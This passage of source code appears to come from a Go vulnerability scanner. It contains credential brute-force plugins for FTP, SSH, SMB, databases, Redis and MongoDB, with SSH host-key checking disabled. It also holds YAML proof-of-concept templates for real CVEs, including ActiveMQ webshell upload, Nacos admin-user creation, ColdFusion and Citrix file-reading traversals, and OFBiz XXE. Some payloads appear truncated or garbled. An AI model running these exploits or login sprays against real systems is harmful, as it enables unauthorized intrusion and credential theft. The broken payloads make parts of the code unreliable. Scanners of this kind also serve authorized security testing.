13 | ERROR_CRON_SPEC = 10001
14 |
15 | )
16 |
--------------------------------------------------------------------------------
/pkg/e/msg.go:
--------------------------------------------------------------------------------
1 | package e
2 |
3 |
4 | var MsgFlags = map[int]string {
5 | SUCCESS : "请求成功",
6 | ERROR : "请求失败",
7 | INVALID_PARAMS : "请求参数错误",
8 | INVALID_PASS : "旧密码错误",
9 | INVALID_DIFFPASS : "两次新密码不一致",
10 | INVALID_FINGER : "需要去掉指纹尾部逗号",
11 |
12 |
13 | ERROR_CRON_SPEC : "crontab语法错误",
14 |
15 | }
16 |
17 | func GetMsg(code int) string {
18 | msg, ok := MsgFlags[code]
19 | if ok {
20 | return msg
21 | }
22 |
23 | return MsgFlags[ERROR]
24 | }
25 |
--------------------------------------------------------------------------------
/pkg/jobs/cron.go:
--------------------------------------------------------------------------------
1 | package jobs
2 |
3 |
4 | import (
5 | "github.com/robfig/cron/v3"
6 | "sync"
7 | )
8 |
9 |
10 | var (
11 | mainCron *cron.Cron
12 | workPool chan bool
13 | lock sync.Mutex
14 | )
15 |
16 |
17 | func init() {
18 | workPool = make(chan bool, 10)
19 | mainCron = cron.New()
20 | mainCron.Start()
21 | }
22 |
23 | func AddJob(spec string, job *Job) bool {
24 | lock.Lock()//防止在并发的时候添加多个相同job
25 | defer lock.Unlock()
26 |
27 | if GetEntryById(job.id) != nil { //如果存在这个job 那么就添加失败 不需要重复添加
28 | return false
29 | }
30 | _,err := mainCron.AddJob(spec, job)
31 | if err != nil{
32 | return false
33 | }else{
34 | return true
35 | }
36 |
37 | }
38 |
39 | func RemoveJob(id int) {
40 | entry := GetEntryById(id)
41 | if entry == nil {
42 | return
43 | }
44 | ID := entry.ID
45 | mainCron.Remove(ID)
46 |
47 | }
48 |
49 | func GetEntryById(id int) *cron.Entry {
50 | entries := mainCron.Entries()
51 | for _, en := range entries {
52 | if v, ok := en.Job.(*Job); ok {
53 | if v.id == id {
54 | return &en
55 | }
56 | }
57 | }
58 | return nil
59 | }
60 |
--------------------------------------------------------------------------------
/pkg/plugins/ftp.go:
--------------------------------------------------------------------------------
1 | package plugins
2 |
3 | import (
4 | "github.com/jlaffaye/ftp"
5 | "time"
6 | )
7 |
8 | func ScanFtp(ip string, port string, username string, password string) (err error, result bool) {
9 | conn, err := ftp.DialTimeout(ip+":"+port, time.Second*3)
10 | if err == nil {
11 | err = conn.Login(username, password)
12 | if err == nil {
13 | result = true
14 | conn.Logout()
15 | }
16 | }
17 | return err, result
18 | }
19 |
--------------------------------------------------------------------------------
/pkg/plugins/mongodb.go:
--------------------------------------------------------------------------------
1 | package plugins
2 |
3 | import (
4 | "gopkg.in/mgo.v2"
5 | "time"
6 | )
7 |
8 | //mongodb未授权和弱口令漏洞
9 | func ScanMongodb(ip string, port string, username string, password string) (err error, result bool) {
10 | session, err := mgo.DialWithTimeout("mongodb://"+username+":"+password+"@"+ip+":"+port+"/"+"admin", time.Second*3)
11 | if err == nil && session.Ping() == nil {
12 | defer session.Close()
13 | if err == nil && session.Run("serverStatus", nil) == nil {
14 | result = true
15 | }
16 | }
17 | return err, result
18 | }
19 |
20 | func MongoUnauth(ip string, port string) (err error, result bool) {
21 | session, err := mgo.Dial(ip + ":" + port)
22 | if err == nil && session.Run("serverStatus", nil) == nil {
23 | result = true
24 | }
25 | return err, result
26 | }
27 |
--------------------------------------------------------------------------------
/pkg/plugins/mssql.go:
--------------------------------------------------------------------------------
1 | package plugins
2 |
3 | import (
4 | "database/sql"
5 | _ "github.com/denisenkom/go-mssqldb"
6 | )
7 |
8 | func ScanMssql(ip string, port string, username string, password string) (err error, result bool) {
9 | db, err := sql.Open("mssql", "server="+ip+";port="+port+";user id="+username+";password="+password+";database=master")
10 | if err == nil {
11 | defer db.Close()
12 | err = db.Ping()
13 | if err == nil {
14 | result = true
15 | }
16 | }
17 | return err, result
18 | }
19 |
--------------------------------------------------------------------------------
/pkg/plugins/mysql.go:
--------------------------------------------------------------------------------
1 | package plugins
2 |
3 | import (
4 | "database/sql"
5 | "fmt"
6 | //_ "github.com/go-sql-driver/mysql"
7 | //_ "github.com/netxfly/mysql"
8 | "time"
9 | )
10 |
11 | func ScanMysql(ip string, port string, username string, password string) (err error, result bool) {
12 | result = false
13 | connStr := fmt.Sprintf("%s:%s@tcp(%s)/?timeout=%ds", username, password, ip+":"+port, time.Second*3)
14 | db, err := sql.Open("mysql", connStr)
15 | if err == nil {
16 | defer db.Close()
17 | err = db.Ping()
18 | if err == nil {
19 | defer db.Close()
20 | result = true
21 | }
22 | }
23 | return err, result
24 | }
25 |
--------------------------------------------------------------------------------
/pkg/plugins/plugins.go:
--------------------------------------------------------------------------------
1 | package plugins
2 |
3 | type ScanFunc func(ip string, port string, username string, password string) (err error, result bool)
4 |
5 | var (
6 | ScanFuncMap map[string]ScanFunc
7 | )
8 |
9 | func init() {
10 | ScanFuncMap = make(map[string]ScanFunc)
11 | ScanFuncMap["FTP"] = ScanFtp
12 | ScanFuncMap["SSH"] = ScanSsh
13 | ScanFuncMap["SMB"] = ScanSmb // 139,445
14 | ScanFuncMap["MSSQL"] = ScanMssql
15 | ScanFuncMap["MYSQL"] = ScanMysql
16 | ScanFuncMap["POSTGRESQL"] = ScanPostgres // postgres 5432
17 | ScanFuncMap["REDIS"] = ScanRedis
18 | //ScanFuncMap["ELASTICSEARCH"] = ScanElastic
19 | ScanFuncMap["MONGOD"] = ScanMongodb // 27017
20 | //ScanFuncMap["JAVADEBUG"] = JavaDebug // 9091
21 | //ScanFuncMap["ORACLE"] = ScanOracle // 1521
22 |
23 | //161: "SNMP", snmp的主要作用是对网络设备和设备中的应用程序进行管理,因此,获得了snmp口令后,主要的作用就是查询系统信息
24 | //
25 | //4043 rsync
26 | //rfp
27 | //ZooKeeper 2181
28 | //zookeeper是分布式协同管理工具,常用来管理系统配置信息,攻击者能够执行所有只允许由管理员运行的命令。
29 | //Atlassian Crowd 8095
30 | //Elasticsearch 8080
31 | //Jupyter Notebook 8888
32 | }
33 |
--------------------------------------------------------------------------------
/pkg/plugins/postgres.go:
--------------------------------------------------------------------------------
1 | package plugins
2 |
3 | import (
4 | _ "github.com/lib/pq"
5 |
6 | "database/sql"
7 | "fmt"
8 | )
9 |
10 | func ScanPostgres(ip string, port string, username string, password string) (err error, result bool) {
11 | //fmt.Println( fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", username, password, ip, port, "postgres", "disable"))
12 | db, err := sql.Open("postgres", fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", username, password, ip, port, "postgres", "disable"))
13 | if err == nil {
14 | defer db.Close()
15 | err = db.Ping()
16 | if err == nil {
17 | result = true
18 | }
19 | }
20 | return err, result
21 | }
22 |
--------------------------------------------------------------------------------
/pkg/plugins/redis.go:
--------------------------------------------------------------------------------
1 | package plugins
2 |
3 | import (
4 | "github.com/go-redis/redis"
5 | "time"
6 | )
7 |
8 | func ScanRedis(ip string, port string, username string, password string) (err error, result bool) {
9 | client := redis.NewClient(&redis.Options{Addr: ip + ":" + port, Password: password, DB: 0, DialTimeout: time.Second * 3})
10 | defer client.Close()
11 | _, err = client.Ping().Result()
12 | if err == nil {
13 | result = true
14 | }
15 | return err, result
16 | }
17 |
--------------------------------------------------------------------------------
/pkg/plugins/smb.go:
--------------------------------------------------------------------------------
1 | package plugins
2 |
3 | import (
4 | "github.com/stacktitan/smb/smb"
5 | )
6 |
7 |
8 |
9 | func ScanSmb(ip string, port string, username string, password string) (err error, result bool) {
10 | result = false
11 | //fmt.Println("run smcd")
12 | //port,_ = strconv.Atoi(port)
13 |
14 | options := smb.Options{
15 | Host: ip,
16 | Port: 445,
17 | User: username,
18 | Password: password,
19 | Domain: "",
20 | Workstation: "",
21 | }
22 |
23 | session, err := smb.NewSession(options, false)
24 | if err == nil {
25 | session.Close()
26 | if session.IsAuthenticated {
27 | result = true
28 | }
29 | }
30 | return err, result
31 | }
32 |
33 | //
34 | //debug := false
35 | //session, err := smb.NewSession(options, debug)
36 | //if err != nil {
37 | //log.Fatalln("[!]", err)
38 | //}
39 | //defer session.Close()
40 | //
41 | //if session.IsSigningRequired {
42 | //log.Println("[-] Signing is required")
43 | //} else {
44 | //log.Println("[+] Signing is NOT required")
45 | //}
46 | //
47 | //if session.IsAuthenticated {
48 | //log.Println("[+] Login successful")
49 | //} else {
50 | //log.Println("[-] Login failed")
51 | //}
52 | //
53 | //if err != nil {
54 | //log.Fatalln("[!]", err)
55 | //}
--------------------------------------------------------------------------------
/pkg/plugins/ssh.go:
--------------------------------------------------------------------------------
1 | package plugins
2 |
3 | import (
4 | "golang.org/x/crypto/ssh"
5 | "net"
6 | "time"
7 | )
8 |
9 | func ScanSsh(ip string, port string, username string, password string) (err error, result bool) {
10 | //fmt.Println("ScanSsh:",username,password)
11 | config := &ssh.ClientConfig{
12 | User: username,
13 | Auth: []ssh.AuthMethod{
14 | ssh.Password(password),
15 | },
16 | HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
17 | return nil
18 | },
19 | Timeout: time.Second * 3,
20 | }
21 |
22 | client, err := ssh.Dial("tcp", ip+":"+port, config)
23 | if err == nil {
24 | defer client.Close()
25 | session, err := client.NewSession()
26 | defer session.Close()
27 | errRet := session.Run("echo xsec")
28 | if err == nil && errRet == nil {
29 | result = true
30 | }
31 | }
32 | return err, result
33 | }
34 |
--------------------------------------------------------------------------------
/pkg/pocs/activemq-cve-2016-3088.yml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-activemq-cve-2016-3088
2 | set:
3 | filename: randomLowercase(6)
4 | fileContent: randomLowercase(6)
5 | rules:
6 | - method: PUT
7 | path: /fileserver/{{filename}}.txt
8 | body: |
9 | {{fileContent}}
10 | expression: |
11 | response.status == 204
12 | - method: GET
13 | path: /admin/test/index.jsp
14 | search: |
15 | activemq.home=(?P.*?),
16 | follow_redirects: false
17 | expression: |
18 | response.status == 200
19 | - method: MOVE
20 | path: /fileserver/{{filename}}.txt
21 | headers:
22 | Destination: "file://{{home}}/webapps/api/{{filename}}.jsp"
23 | follow_redirects: false
24 | expression: |
25 | response.status == 204
26 | - method: GET
27 | path: /api/{{filename}}.jsp
28 | follow_redirects: false
29 | expression: |
30 | response.status == 200 && response.body.bcontains(bytes(fileContent))
31 | detail:
32 | author: j4ckzh0u(https://github.com/j4ckzh0u)
33 | links:
34 | - https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2016-3088
35 |
--------------------------------------------------------------------------------
/pkg/pocs/activemq-default-password.yml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-activemq-default-password
2 | rules:
3 | - method: GET
4 | path: /admin/
5 | expression: |
6 | response.status == 401 && response.body.bcontains(b"Unauthorized")
7 | - method: GET
8 | path: /admin/
9 | headers:
10 | Authorization: Basic YWRtaW46YWRtaW4=
11 | expression: |
12 | response.status == 200 && response.body.bcontains(b"Welcome to the Apache ActiveMQ Console of") && response.body.bcontains(b"Broker
")
13 | detail:
14 | author: pa55w0rd(www.pa55w0rd.online/)
15 | links:
16 | - https://blog.csdn.net/ge00111/article/details/72765210
17 |
--------------------------------------------------------------------------------
/pkg/pocs/airflow-unauth.yml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-airflow-unauth
2 | rules:
3 | - method: GET
4 | path: /admin/
5 | expression: |
6 | response.status == 200 && response.body.bcontains(b"Airflow - DAGs") && response.body.bcontains(b"DAGs
")
7 | detail:
8 | author: pa55w0rd(www.pa55w0rd.online/)
9 | links:
10 | - http://airflow.apache.org/
11 |
--------------------------------------------------------------------------------
/pkg/pocs/alibaba-nacos-v1-auth-bypass.yml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-alibaba-nacos-v1-auth-bypass
2 | set:
3 | r1: randomLowercase(16)
4 | r2: randomLowercase(16)
5 | rules:
6 | - method: POST
7 | path: "/nacos/v1/auth/users?username={{r1}}&password={{r2}}"
8 | headers:
9 | User-Agent: Nacos-Server
10 | expression: |
11 | response.status == 200 && response.body.bcontains(bytes("create user ok!"))
12 | - method: GET
13 | path: "/nacos/v1/auth/users?pageNo=1&pageSize=999"
14 | headers:
15 | User-Agent: Nacos-Server
16 | expression: |
17 | response.status == 200 && response.body.bcontains(bytes(r1))
18 | - method: DELETE
19 | path: "/nacos/v1/auth/users?username={{r1}}"
20 | headers:
21 | User-Agent: Nacos-Server
22 | expression: |
23 | response.status == 200 && response.body.bcontains(bytes("delete user ok!"))
24 | detail:
25 | author: kmahyyg(https://github.com/kmahyyg)
26 | links:
27 | - https://github.com/alibaba/nacos/issues/4593
28 |
--------------------------------------------------------------------------------
/pkg/pocs/apache-flink-upload-rce.yml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-apache-flink-upload-rce
2 | set:
3 | r1: randomLowercase(8)
4 | r2: randomLowercase(4)
5 | rules:
6 | - method: GET
7 | path: /jars
8 | follow_redirects: true
9 | expression: >
10 | response.status == 200 && response.content_type.contains("json") &&
11 | response.body.bcontains(b"address") && response.body.bcontains(b"files")
12 | - method: POST
13 | path: /jars/upload
14 | headers:
15 | Content-Type: multipart/form-data;boundary=8ce4b16b22b58894aa86c421e8759df3
16 | body: |-
17 | --8ce4b16b22b58894aa86c421e8759df3
18 | Content-Disposition: form-data; name="jarfile";filename="{{r2}}.jar"
19 | Content-Type:application/octet-stream
20 |
21 | {{r1}}
22 | --8ce4b16b22b58894aa86c421e8759df3--
23 |
24 | follow_redirects: true
25 | expression: >
26 | response.status == 200 && response.content_type.contains("json") &&
27 | response.body.bcontains(b"success") && response.body.bcontains(bytes(r2))
28 | search: >-
29 | (?P([a-zA-Z0-9]{8}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{12}_[a-z]{4}.jar))
30 | - method: DELETE
31 | path: '/jars/{{filen}}'
32 | follow_redirects: true
33 | expression: |
34 | response.status == 200
35 | detail:
36 | author: timwhite
37 | links:
38 | - https://github.com/LandGrey/flink-unauth-rce
39 |
--------------------------------------------------------------------------------
/pkg/pocs/apache-kylin-unauth-cve-2020-13937.yml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-apache-kylin-unauth-cve-2020-13937
2 | rules:
3 | - method: GET
4 | path: /kylin/api/admin/config
5 | expression: |
6 | response.status == 200 && response.headers["Content-Type"].contains("application/json") && response.body.bcontains(b"config") && response.body.bcontains(b"kylin.metadata.url")
7 | detail:
8 | author: JingLing(github.com/shmilylty)
9 | links:
10 | - https://s.tencent.com/research/bsafe/1156.html
11 |
--------------------------------------------------------------------------------
/pkg/pocs/apache-ofbiz-cve-2018-8033-xxe.yml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-apache-ofbiz-cve-2018-8033-xxe
2 | rules:
3 | - method: POST
4 | path: /webtools/control/xmlrpc
5 | headers:
6 | Content-Type: application/xml
7 | body: >-
8 | ]>&disclose;
9 | follow_redirects: false
10 | expression: >
11 | response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) && response.content_type.contains("text/xml")
12 | detail:
13 | author: su(https://suzzz112113.github.io/#blog)
14 | links:
15 | - https://github.com/jamieparfet/Apache-OFBiz-XXE/blob/master/exploit.py
--------------------------------------------------------------------------------
/pkg/pocs/apache-ofbiz-cve-2020-9496-xml-deserialization.yml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-apache-ofbiz-cve-2020-9496-xml-deserialization
2 | set:
3 | rand: randomInt(200000000, 210000000)
4 | rules:
5 | - method: POST
6 | path: /webtools/control/xmlrpc
7 | headers:
8 | Content-Type: application/xml
9 | body: >-
10 | {{rand}}dwisiswant0
12 | follow_redirects: false
13 | expression: >
14 | response.status == 200 && response.body.bcontains(bytes("methodResponse")) && response.body.bcontains(bytes("No such service [" + string(rand)))
15 | detail:
16 | author: su(https://suzzz112113.github.io/#blog)
17 | links:
18 | - https://lists.apache.org/thread.html/r84ccbfc67bfddd35dced494a1f1cba504f49ac60a2a2ae903c5492c3%40%3Cdev.ofbiz.apache.org%3E
19 | - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/apache_ofbiz_deserialiation.rb
20 |
--------------------------------------------------------------------------------
/pkg/pocs/aspcms-backend-leak.yml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-aspcms-backend-leak
2 | rules:
3 | - method: GET
4 | path: /plug/oem/AspCms_OEMFun.asp
5 | expression: |
6 | response.status == 200 && "")) && response.body.bcontains(b"citrix")
13 | detail:
14 | author: JingLing(https://hackfun.org/)
15 | links:
16 | - https://support.citrix.com/article/CTX276688
17 | - https://www.citrix.com/blogs/2020/07/07/citrix-provides-context-on-security-bulletin-ctx276688/
18 | - https://dmaasland.github.io/posts/citrix.html
19 |
--------------------------------------------------------------------------------
/pkg/pocs/citrix-cve-2020-8193-unauthorized.yml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-citrix-cve-2020-8193-unauthorized
2 | set:
3 | user: randomLowercase(8)
4 | pass: randomLowercase(8)
5 | rules:
6 | - method: POST
7 | path: "/pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1"
8 | headers:
9 | Content-Type: application/xml
10 | X-NITRO-USER: '{{user}}'
11 | X-NITRO-PASS: '{{pass}}'
12 | body:
13 | follow_redirects: false
14 | expression: >
15 | response.status == 406 && "(?i)SESSID=\\w{32}".bmatches(bytes(response.headers["Set-Cookie"]))
16 | detail:
17 | author: bufsnake(https://github.com/bufsnake)
18 | links:
19 | - https://github.com/PR3R00T/CVE-2020-8193-Citrix-Scanner/blob/master/scanner.py
20 | - https://blog.unauthorizedaccess.nl/2020/07/07/adventures-in-citrix-security-research.html
21 |
--------------------------------------------------------------------------------
/pkg/pocs/citrix-xenmobile-cve-2020-8209.yml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-citrix-xenmobile-cve-2020-8209
2 | rules:
3 | - method: GET
4 | path: /jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd
5 | follow_redirects: false
6 | expression: |
7 | response.status == 200 && "^root:[x*]:0:0:".bmatches(response.body)
8 | detail:
9 | author: B1anda0(https://github.com/B1anda0)
10 | links:
11 | - https://nvd.nist.gov/vuln/detail/CVE-2020-8209
12 |
--------------------------------------------------------------------------------
/pkg/pocs/coldfusion-cve-2010-2861-lfi.yml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-coldfusion-cve-2010-2861-lfi
2 | rules:
3 | - method: GET
4 | path: >-
5 | /CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en
6 | follow_redirects: true
7 | expression: |
8 | response.status == 200 && response.body.bcontains(b"rdspassword=") && response.body.bcontains(b"encrypted=")
9 | detail:
10 | version: 8.0, 8.0.1, 9.0, 9.0.1 and earlier versions
11 | author: sharecast
12 | links:
13 | - https://github.com/vulhub/vulhub/tree/master/coldfusion/CVE-2010-2861
--------------------------------------------------------------------------------
/pkg/pocs/confluence-cve-2015-8399.yml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-confluence-cve-2015-8399
2 | rules:
3 | - method: GET
4 | path: /spaces/viewdefaultdecorator.action?decoratorName
5 | follow_redirects: false
6 | expression: response.status == 200 && response.body.bcontains(b"confluence-init.properties") && response.body.bcontains(b"View Default Decorator")
7 | detail:
8 | author: whynot(https://github.com/notwhy)
9 | links:
10 | - https://www.anquanke.com/vul/id/1150798
--------------------------------------------------------------------------------
/pkg/pocs/confluence-cve-2019-3396-lfi.yml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-confluence-cve-2019-3396-lfi
2 | rules:
3 | - method: POST
4 | path: /rest/tinymce/1/macro/preview
5 | headers:
6 | Content-Type: "application/json"
7 | Host: localhost
8 | Referer: http://localhost
9 | body: >-
10 | {"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/test","width":"1000","height":"1000","_template":"../web.xml"}}}
11 | follow_redirects: true
12 | expression: |
13 | response.status == 200 && response.body.bcontains(b"contextConfigLocation")
14 | detail:
15 | author: sharecast
16 | links:
17 | - https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2019-3396
--------------------------------------------------------------------------------
/pkg/pocs/consul-rexec-rce.yml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-consul-rexec-rce
2 | rules:
3 | - method: GET
4 | path: /v1/agent/self
5 | expression: |
6 | response.body.bcontains(b"\"DisableRemoteExec\": false")
7 | detail:
8 | author: imlonghao(https://imlonghao.com/)
9 | links:
10 | - https://www.exploit-db.com/exploits/46073
11 |
--------------------------------------------------------------------------------
/pkg/pocs/consul-service-rce.yml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-consul-service-rce
2 | rules:
3 | - method: GET
4 | path: /v1/agent/self
5 | expression: |
6 | response.body.bcontains(b"\"EnableScriptChecks\": true") || response.body.bcontains(b"\"EnableRemoteScriptChecks\": true")
7 | detail:
8 | author: imlonghao(https://imlonghao.com/)
9 | links:
10 | - https://www.exploit-db.com/exploits/46074
11 |
--------------------------------------------------------------------------------
/pkg/pocs/coremail-cnvd-2019-16798.yml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-coremail-cnvd-2019-16798
2 | rules:
3 | - method: GET
4 | path: >-
5 | /mailsms/s?func=ADMIN:appState&dumpConfig=/
6 | follow_redirects: false
7 | expression: >
8 | response.status == 200 && response.body.bcontains(bytes("